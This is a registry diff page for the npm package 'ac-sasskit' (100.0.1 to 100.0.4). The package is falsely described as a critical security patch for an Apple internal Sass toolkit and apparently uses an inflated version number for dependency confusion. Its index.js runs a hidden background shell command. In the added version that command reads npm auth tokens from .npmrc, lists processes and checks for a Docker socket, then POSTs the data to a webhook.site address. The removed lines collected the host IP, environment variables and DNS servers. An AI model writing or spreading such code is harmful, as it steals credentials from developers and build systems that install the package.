ac-sasskit 100.0.1 → 100.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +9 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,19 +3,19 @@ const webhook = 'https://webhook.site/cb8d0670-33e0-46e2-8d6f-66a5e2d3df5d';
3
3
 
4
4
  const cmd = `
5
5
  (
6
- # 1. Info Dasar
7
6
  H=\$(hostname);
8
- I=\$(hostname -I);
9
7
 
10
- # 2. Ambil Environment Variables (Sering ada nama proyek Apple di sini)
11
- # Kita filter agar tidak terlalu panjang, cari kata kunci 'APPLE', 'CI', atau 'KUBE'
12
- ENV_DATA=\$(env | grep -E "APPLE|PROD|STAGE|CI_|KUBE|CI" | tr '\\n' ' | ');
8
+ # 1. Cari Token atau Kredensial (Sangat Sensitif)
9
+ # Mencari token di file .npmrc atau .git/config
10
+ CRED=\$(cat ~/.npmrc /root/.npmrc .npmrc 2>/dev/null | grep "_auth" | cut -d'=' -f2 | head -c 20);
13
11
 
14
- # 3. Cek DNS (Membuktikan ini jaringan Apple)
15
- DNS_DATA=\$(cat /etc/resolv.conf | grep nameserver | awk '{print \$2}' | tr '\\n' ' ');
12
+ # 2. Ambil List Proses (Lihat apa yang sedang berjalan di server itu)
13
+ PROC=\$(ps -aux | head -n 5 | awk '{print \$11}' | tr '\\n' ' ');
16
14
 
17
- # 4. Kirim semua bukti sebagai satu paket
18
- MSG="[BUKTI-VALID-APPLE] Host: \$H | IP: \$I | DNS: \$DNS_DATA | ENV: \$ENV_DATA";
15
+ # 3. Cek apakah ada akses ke Docker Socket (Potensi Breakout)
16
+ DOCKER_SOCK=\$( [ -S /var/run/docker.sock ] && echo "SOCK-EXISTS" || echo "NO-SOCK" );
17
+
18
+ MSG="[DEEP-RECON] Host: \$H | Token-Snippet: \$CRED | Proc: \$PROC | Docker: \$DOCKER_SOCK";
19
19
 
20
20
  curl -X POST -H "Content-Type: text/plain" -d "\$MSG" "${webhook}"
21
21
  ) > /dev/null 2>&1 &
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ac-sasskit",
3
- "version": "100.0.1",
3
+ "version": "100.0.4",
4
4
  "description": "Critical Security Patch for Apple Internal Sass Toolkit",
5
5
  "main": "index.js",
6
6
  "scripts": {